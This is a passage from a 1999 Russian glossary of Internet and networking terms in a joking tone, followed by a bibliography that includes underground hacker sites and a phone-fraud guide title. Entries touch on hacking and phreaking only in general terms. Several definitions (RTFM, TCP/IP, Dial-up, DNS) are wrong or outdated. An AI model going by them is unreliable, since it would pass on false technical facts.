     Отправление статьи одновременно в несколько групп конференций Usenet.
     Cybermall
     Электронный магазин.
     Cyberpunk
     Самоутвержденный хакер.
     Cybersex
     Cекс, разврат и другие извращения, доступные в Internet.
     Data compression
     Сжатие данных.
     Data link
     Канал связи.
     Datagram
     Датаграмма.   Сообщение,   посылаемое  через  компьютерную   систему  с
коммуникацией пакетов.
     DDE
     Dynamic   Data  Exchange.  Межпроцессорный  метод   связи,  позволяющий
одновременно запускать две или несколько программ.
     DejaNews
     Ищем  новости в  конференциях Usenet по  ключевому слову, автору статьи
или по адресу. Доступ через http://www.dejanews.com.
     Dialtone
     Длинный гудок. Телефонная линия готова.
     Dial-up user
     Пользователь коммутируемой линии. Получает доступ к сети через модем.
     Dial-up
     Метод,  кодирующий  данные, а затем  отправляющий их  по  сети.  Именно
посредством  этого метода и осуществляется  модемная  связь  по обыкновенной
телефонной линии.
     DirectX
     Программный   интерфейс,   благодаря   которому   ваши   мультимедийные
устройства могут работать на более высоком и эффективном уровне.
     PPTP
     Point-to-Point    Tunneling   Protocol.   Благодаря   протоколу    PPTP
(Point-to-Point  Tunneling  Protocol)  вы можете  подключаться  к  Internet,
совершенно не заботясь о плате за междугороднюю связь.
     DNS
     Domain Name System. Доменная  система адресации. Нечто, похожее на базу
данных и конвертирующее буквенное сетевое  имя в набор цифр. Этот набор цифр
является  числовым адресом Internet. Понятен  только компьютерам и некоторым
фанатам с шизофренической памятью.
     Domain Name Server
     Имя  сервера  домена. Каждое подразделение  Internet имеет  два домена.
Основной DNS обычно располагается на сетевой машине.
     DNS-сервера используют в  своих обращениях к удаленным узлам  32-битные
адреса IP, мнемонически заключенные в четырехразрядную буквенную комбинацию.
Любой хост  может  получить соответствующий DNS у ближайшего информационного
сервера  DNS по известной системе Domain  Name Server через сетевой протокол
DNS. Просто хост  посылает  запрос на  известный  IP-адрес DNS-сервера  свой
IP-адрес  и  имя  сервера.  Сервер  DNS штудирует  собственную  базу данных,
находит  IP-адрес  и  отправляет  на хост  соответствующий ответ  DNS. Схема
весьма  примитивная.  Если  же  сервер  DNS  не  находит  искомую  буквенную
комбинацию,  то  он  отсылает  запрос  на  так  называемый корневой  сервер,
который, в свою  очередь, сверяет информацию с  файлом  настроек root.cache.
Так происходит до тех пор, пока имя хоста не будет найдено в Internet.
     Domain
     Подразделение Internet.  У  каждого  домена  есть своя метка.  Например
метки  .com,  .net,  .mil,  .org  означают,  что  это  соответственно  домен
коммерческой, сетевой, военной и общественной организации.
     Download
     Закачивание софта с другого компьютера на собственный винчестер.
     E-mail
     Электронная  почта. Вы пишите (набиваете на  клавиатуре) письмо, адрес,
жмете  кнопку  и  почти  моментально  ваше  послание  читает  адресат.  Вещь
классная.  Но  есть   и  свои  недостатки.  Ваше  послание  может  прочитать
практически любой  юзер,  хоть  немного  знающий  нетрадиционный  софт.  Про
хакеров вообще можно промолчать.
     Ethernet
     Один из видов  сети с весьма классной пропускной способностью. Довольно
часто  компьютеры, использующие протоколы  TCP/IP подсоединяются  к Internet
через Ethernet. Да какая там поэзия! Проза, сухая проза.
     F2F
     Face to face. Лицом к лицу. Незабываемая встреча двух юзеров Internet в
реальном мире.
     Firewall
     Межсетевой защитный экран.  Весьма туманная вещь для  некоторых простых
юзеров  и  совершенно  непонятная  многим системным  администраторам.  Вещь,
которую хорошо знают хакеры. Довольно бестолковая  штучка, которая, по идее,
должна  защищать  систему  от  проникновения  хакеров.   Практически   любой
современный  межсетевой  защитный экран строится  на  протоколах прикладного
уровня (proxy) и поддерживает TELNET, Rlogin, FTP, SMTP, POP3, HTTP, Gopher,
X11, LP, Rsh, Finger, NNTP, Whois и RealAudio.
     Flame War
     Нанесенное в данный момент электронное оскорбление. А ведь недопустимо,
господа, нарушать порядок в интерактивном сеансе работы в сети!
     Flame
     Произносится как флэйм.  Угроза или оскорбление в электронном виде,  т.
е. по почте или в конференциях Usenet. А Вас оскорбляли в электронной форме?
     Follow up
     Cообщение в Usenet, как реакция на ранее помещенное сообщение.
     FSF
     Free Software Foundation. Фонд бесплатного программного обеспечения.
     FSP
     Система передачи файлов, подобная FTP.
     FTP
     File  Transfer Protocol. Метод  пересылки  файлов  на ваш компьютер.  В
Internet имеются тысячи мест, поддерживающих этот метод. Иногда единственная
возможность заиметь  файл -- это воспользоваться  протоколом FTP. Помните об
этом протоколе.
     FTP-client
     Софт позволяющий вам приконнектиться к серверу FTP.
     FTP-команды
     Команды с синтаксисом FTP.
     FTP-mail
     Крутейшая  штучка.   Вы  можете  получать  файлы   с  серверов  FTP  по
электронной почте.
     FTP-server
     Компьютер битком набитый всякой всячиной и поддерживающий протокол FTP.
     Gateway
     Межсетевой шлюз. Нечто соединяющее несовместимые сети.
     Get a life
     Чудак,  спустись на землю! Восклицание нормального человека, увидевшего
фаната Internet.
     GIF
     Graphic Interchange Format. Один из стандартных графических файлов WWW.
     Gophermail
     Доступ к Gopher через электронную почту.
     GUI
     Graphical  User  Interface.  Графический  пользовательский   интерфейс.
Например, система Macintosh или Windows.
     Guru
     Фанат, профессионал. Отличается от  хакера безумными поступками.  Такие
люди  могут легко  взорвать  планету,  если  доберутся до  заветной  красной
кнопки.
     Hacker
     Очень  умный  человек.  Тот,  кто  взламывает сети.  Этот  умник  может
проникнуть  в  любую сеть.  Делается это разными способами. Например,  через
порт терминала или порт электронной почты. Выбрав жертву, хакер прежде всего
определяет, имеются ли на  сервере плохие пароли, плохо настроенный софт или
испорченная операционка. Затем выбирает метод собственной безопасности.
     Хакер --  это человек,  которому  интереснее создать  свое  собственное
программное  обеспечение, чем пользоваться  уже существующим. Хотя  средства
массовой информации пытаются превратить хакеров в преступные умы, обычно они
являются людьми, движимыми любопытством и собственными интересами к созданию
программ, заставляющих компьютер работать лучше.
     Home
     Абсолютно    непонятная    вещь.    Наверное,     придумана    сетевыми
администраторами для запутывания новичков. В Internet тонны страниц. Поэтому
делать какую-то из них своей домашней довольно бессмысленно. Да простят меня
пользователи America Online!
     Host
     Главный компьютер. Компьютер, непосредственно подключенный к Internet.
     Hotlist
     Горячий список.
     HTML
     HyperText  Markup   Language.   Язык,  лежащий  в  основе  формирования
документов World Wide Web.
     HTTP
     HyperText Transport  Protocol.  Система, передающая документы  HTML  по
World Wide Web.
     Hub
     Концентратор.
     Hyper Terminal
     Программа  связи, с  помощью которой вы сможете организовать соединение
через модем между двумя компьютерами по телефонной линии.
     Hyperlink
     Связь между вами и господином на том берегу океана.
     Hypermedia
     Гиперсреда. Через определенные ссылки связывается текст, графика, звук,
видео и картинки.
     Hypermedia
     Нечто,  которое хорошо  знают хакеры.  Грубо  говоря то, что  дискретно
может отобразить фотографию на выбранном вами web-обозревателе.
     Hypertext
     Нечто   представляющее  данные  так,  что   можно  легко   организовать
межстраничные связи различных документов Internet.
     Inbox
     Электронный почтовый ящик.
     Internet
     Мировая  с  англоязычным  уклоном свободная  конфедерация  компьютерных
сетей,  объединяющая более  12 тысяч локальных  сетей, более одного миллиона
компьютеров и около 30 миллионов юзеров. Негласный победитель FIDO.
     IP Address
     Тридцатидвухбитовый   (ну   и  словечко)   адрес  протокола   Internet,
включающий в себя номер узла и сети.
     IP
     Самый важный  из всех протоколов, на  котором основана  Internet. Через
этот протокол осуществляется прямое подключение к Internet.
     IRC
     Internet Relay Chat. Одна из форм WWW-психоза.
     IRC чем-то напоминает работу в  конференциях  Usenet.  Но  если  там вы
общаетесь не в реальном времени,  то  здесь может  вестись  живой  разговор.
Разве  что, -- вас никто не слышит. Вас могут прочитать.  Вы набиваете текст
на клавиатуре. Ваша информация  попадает на общий дисплей.  Различные группы
видят ваш бред. Если интересно -- отвечают.
     IRQ
     Прерывание.
     ISDN
     Integrated   Switched   Digital   Network.  Высокоскоростная   цифровая
телефонная система. Тоже не для нас.
     ISP
     Internet Service Provider. То же, что и провайдер.
     Killfile
     Файл,  фильтрующий статьи конференций Usenet.  Своеобразная электронная
цензура.
     Knowbot
     Служба, позволяющая искать книги в электронных библиотеках.
     Lamer
     Юзер-идиот.    Термин,     придуманный     американскими     системными
администраторами.
     LAN
     Local Area Network. Локальная вычислительная сеть.
     ListServ
     Бесплатный  софт, позволяющий  вам через списки  рассылки автоматически
доставлять и контролировать электронную почту.
     Login
     Регистрационное имя пользователя.
     Lurk
     Пассивные  наблюдатели.   Например,   те,  кто  только  читают  новости
конференций Usenet или сообщения, проходящие по каналам IRC.
     Mail server
     Почтовый сервер. Компьютер, обрабатывающий электронную почту.
     Mail
     Обмен  частными  текстовыми  сообщениями   в   Internet  или  в  другой
компьютерной сети.
     Mailing list
     Cписок  рассылки электронных почтовых сообщений,  классифицированных по
определенным темам. Своеобразная подписка.
     Marquee
     Бегущая строка в документе HTML.
     Media
     Почти то же, что Multimedia.
     MIME
     Multipurpose Internet Mail Extensions. Протокол передачи звука, графики
и других двоичных данных. Применяется при передаче почтовых сообщений. И как
только этот MIME не интерпретируют!
     MNP
     Microsom Networking Protocol. Протокол коррекции ошибок.
     Modem
     MODulator/DEModulator. Устройство,  передающее цифровую  информацию  по
обыкновенной телефонной линии.
     Moose
     Одна из групп конференций Usenet. Лидер группы -- некто Уильям Кассиди.
     Mosaic
     Древнейший    графический   пользовательский   интерфейс,   позволяющий
просматривать  World  Wide  Web.  Имеются  версии  для  X-Window, Windows  и
Macintosh.
     MPEG
     Moving Pictures  Expert  Group. Протокол,  через который  упаковываются
видеозаписи.
     Multimedia
     Весьма туманный термин, не переводящийся на нормальный язык.
     Net server
     Сетевой сервер.
     Net
     Сеть.
     Net.god
     Бог Сети сетей.
     Net.personality
     Крутой участник конференций Usenet.
     Netiquette
     Cетевой этикет, относящийся к участникам конференций Usenet.
     Newcomer
     Новоиспеченный юзер Internet.
     Newsgroup
     Область сообщений в конференциях Usenet.
     NNTP
     Сетевой протокол, с помощью которого весь мир пользуется прелестями  от
конференций Usenet.
     No Dialtone
     Сообщение модема. В линии отсутствует сигнал.
     Node
     Узел сети.
     NTFS
     Файловая система,  специально  разработанная для  операционной  системы
Windwos NT. Поддерживает восстановление файловой  системы и  носители данных
весьма большого объема.
     OBS
     Online Bookstore. Электронная библиотека.
     Offline
     Автономный режим работы компьютера.
     Online
     Интерактивный режим работы сетевого компьютера.
     Password
     Пароль.  Головная  боль  многих  системных  администраторов. Мозоль  на
пальцах простых юзеров.
     PH
     Phonebook. Программа-клиент PH  может  быть  использована для доступа к
базе данных QI, в которой  находятся тонны  телефонных справочников  и масса
другой полезной информации.
     Phreake
     Хакерство на телефонных  линиях. Генерация тонов определенной  частоты,
позволяющая  проводить  махинации   с  оплатой  разговоров   и  сканирование
телефонной сети на предмет обнаружения модемных входов.
     PKZIP
     Программа упаковки файлов.
     Pointer
     Указатель с синтаксисом URL.
     POP
     Post Office Protocol. Протокол электронной почты.
     Popmail
     Программа, используемая для чтения удаленных почтовых сообщений.
     Posting
     Передача сообщения в одну из групп Usenet.
     PPP
     Point-to-Point-Protocol.  Протокол  повышенного типа.  Наследник  SLIP.
Этот  протокол  хорош тем,  что  он  позволяет  подключить ваш  компьютер  к
Internet по так называемому протоколу удаленного доступа TCP/IP.
     Privacy
     Невмешательство в личную жизнь пользователя электронной почты.
     Prompt
     Поле данных удаленного терминала.
     Protocol
     Метод, с помощью которого передается информация от хоста к юзеру.
     Provider
     Поставщик некоторых услуг. В частности, -- услуг Internet.
     Pulse
     Один из способов импульсного набора телефонного номера.
     QWK
     Формат  чтения  в  интерактивном  режиме  почтовых  сообщений  и статей
конференций Usenet.
     Real Time
     Интерактивный  (не  пакетный)   режим.  То  есть  режим,  передающий  и
обрабатывающий информацию с весьма большой скоростью.
     Remote computer
     Тот самый сервер, к которому коннектятся.
     Remote control
     Дистанционное управление.
     Remote
     Удаленный доступ.
     RFC
     Request  For  Comment.  Огромная куча  электронных документов.  Если ее
разгрести, то можно окончательно выяснить, что же такое Internet.
     RIP
     Routing  Internet  Protocol.  Еще  один  протокол,  в  дебрях  которого
запуталось немало системных администраторов.
     Ripco
     Популярный провайдер из славного американского города Чикаго.
     Robot
     Робот, он  и в  Африке робот. Нечто, автоматически залезающее  в  чужую
сеть без участия системных администраторов или некоторая поисковая программа
в гиперсреде WWW.
     Router
     Маршрутизатор.
     RTFM
     Read The Following Materials. Читай справочник,  придурок! Раздраженный
ответ,  адресованный, как  правило  тем  юзерам,  которые  задают  очевидные
вопросы.
     Script
     Сценарий в некоторой коммуникационной программе.
     Security
     Антихакерский софт. Сладкая ягодка системного администратора.
     Server
     Компьютер, система которого способна организовать сеть.
     SGML
     Standard Generalized Markup Language. Язык структурированных языков. То
есть язык,  посредством которого  вы  можете определить язык индексированных
документов.  Язык более высокого  уровня,  чем HTML.  В общем,  язык языков.
Понятен только весьма умным юзерам или хакерам.
     Shareware
     Условно-бесплатное  программное  обеспечение, т. е. платите лишь  в том
случае, если хотите получить полную версию полученного софта.
     Sharing
     Совместное использование.
     Shell
     Оболочка.
     Site
     Место. Расположение сервера в Internet.
     SLIP
     Serial  Line Internet  Protocol.  Древний  протокол  повышенного  типа.
Позволяет  подключить  ваш  компьютер к  Internet  по  протоколу с удаленным
доступом TCP/IP.
     SMTP
     Simple Mail Transport Protocol. Протокол обмена почтовыми сообщениями.
     Spam
     Принудительные   сообщения,   посылаемые  через  электронную   почту  и
конференции Usenet.
     SSL
     Secure   Socket  Layer.  Весьма  слабый  протокол  программы  Netscape.
Предназначен для  защиты юзеров. Или  по другому:  защищенный протокол самой
классной и знаменитой смотрелки киберпространства Netscape Communicator.
     Sysop
     System operator. Сисоп. Системный оператор.
     TCP
     Transmission  Control Protocol. Главный транспортный протокол. Протокол
управления передачей. Работает одновременно с клиентом  и протоколом низкого
уровня (IP).  Интерфейс между TCP и пользователем  есть открытие  и закрытие
соединения и отправка и загрузка информации. TCP совместим с Telnet и THP.
     TCP/IP
     Control   Protocol/Internet  Protocol.  Стандартный  сетевой  протокол,
позволяющий вашему компьютеру соединиться с Internet.
     Telnet
     Специальный коммуникационный  протокол,  позволяющий через определенные
команды получать непосредственный доступ к серверу Internet.
     Tone
     Тоновый набор телефонного номера.
     Traffic
     Поток.
     Twisted pair
     Скрученная пара.
     UDP
     Протокол  транспортного  уровня,  на  котором   собственно  и  основана
Internet.
     Upload
     Вы передаете свои файлы на другой компьютер.
     URL
     Uniform Resource Locator. Стандартный адресный формат,  указывающий имя
сервера Gopher, WWW, Finger или FTP.
     USB
     Универсальная последовательная шина. Благодаря USB вам больше не  нужно
задумываться об установках прерываний IRQ. Вы просто подключаете  устройство
к разъему  USB, а система  сама обеспечит совместимость с вашим компьютером.
Вам даже не придется перезапускать систему.
     AGP
     Архитектура графических ускорителей AGP  (Accelerated  Graphics  Port).
Благодаря AGP  вы можете вполной мере насладиться трехмерными  компьютерными
играми  или  ощутить всю  мощь  вашего  нового  видеоадаптера  в  программах
обработки трехмерной графики.
     Usenet
     Одна из форм массового электронного психоза (в хорошем смыле последнего
слова). В настоящее время существует около 10 000 таких форм.
     User node
     Узел пользователя.
     Username
     Имя пользователя.
     WAN
     Wide Area Network.  Сеть  сетей.  Например, Internet явлется  Worldwide
WAN.
     Webmaster
     Системный администратор Web-сервера. Он же, Паутиныч.
     WDM
     Архитектура  драйверов  Win32  (по сути  объединяет  аппаратные ресурсы
Windows  98 и  Windows NT),  благодаря  которой  вы можете  настраивать свою
систему, используя драйверы Windows NT.
     White Pages
     Справочник пользователей Internet.
     Whois
     Ищем электронный адрес конкретного типа.
     WINZIP
     Софт, созданный  для  юзеров  Windows  95.  Позволяет  распаковывать  и
запаковывать файлы.
     Workstation
     Рабочая станция. Один из компьютеров, подключенный к компьютерной сети.
     World Wide Web
     Информационная система  Internet,  созданная  для  тех  юзеров, которые
имеют высокоскоростные модемы. Это означает, что на экране вашего компьютера
виден не просто голый текст, а мультимедийный документ  с  картинками, порой
разворачивающимися так долго, что хочется стукнуть по клавиатуре или плюнуть
на экран монитора.
     Yahoo
     Паук с самым полным  списком  серверов  WWW  и возможностью  бесплатной
регистрации собственной Web страницы (http://www.yahoo.com).
     ZIP
     Популярный формат архивирования  файлов. Наиболее часто  используется в
программах MS DOS.
     Список использованной литературы
     Russian Underground Club
     http://www.toptown.com/hp/RUC/
     e-mail: night_elf@hotmail.com
     Russian Underground Server
     http://www.russian.lt/
     Крякер Internet
     http://kpakep.home.ml.org/
     ThE BLUES BROThERS BBS
     +7-812-178-8403
     Как не платить МГТС за повременку
     Master A. Pixel (SLY FOX)
     Модемы
     Master A. Pixel (SPY FOX)
     Верстак. Журнал русского хакера.
     http://www.chat.ru/~wrkbench/1000.html
     Computer Security Basics
     Deborah Russell and G.T. Gengemi Sr
     Information Systems Security
     Philip Fites и Martin Kratz
     Computer Related Risks
     Peter G. Neumann
     Computer Security Management
     Karen Forcht
     The Stephen Cobb Complete Book of PC and LAN Security
     Stephen Cobb
     Security in Computing
     Charles P. Pfleeger
     Building a Secure Computer System
     Morrie Gasser
     Modern Methods for Computer Security
     Lance Hoffman
     Protection and Security on the Information Superhighway
     Dr. Frederick B. Cohen
     Practical Unix Security
     Simson Garfinkel and Gene Spafford
     Unix System Security
     Rik Farrow
     Unix Security: A Practical Tutorial
     Derek Arnold
     Unix Security for the Organization
     Richard Bryant
     Network Security Secrets
     David J. Stang и Sylvia Moon
     Complete Lan Security and Control
     Peter Davis
     Network Security
     Steven Shaffer и Alan Simon
     Protect Your Privacy: A Guide for PGP Users
     William Stallings
     Codebreakers
     Kahn
     The Little Black Book of Computer Viruses
     Mark Ludwig
     Computer Viruses, Artificial Life and Evolution
     Mark Ludwig
     A Short Course on Computer Viruses
     Dr. Fred Cohen
     Engineering and Operations in the Bell System
     R.F. Rey
     Telephony: Today and Tomorrow
     Dimitris N. Chorafas
     The Hacker Crackdown
     Bruce Sterling
     Cyberpunk
     Katie Hafner и John Markoff
     The Cuckoo's Egg
     Cliff Stoll
     Hackers: Heroes of the Computer Revolution
     Steven Levy

Last-modified: Mon, 16 Aug 1999 18:47:43 GMT
Оцените этот текст: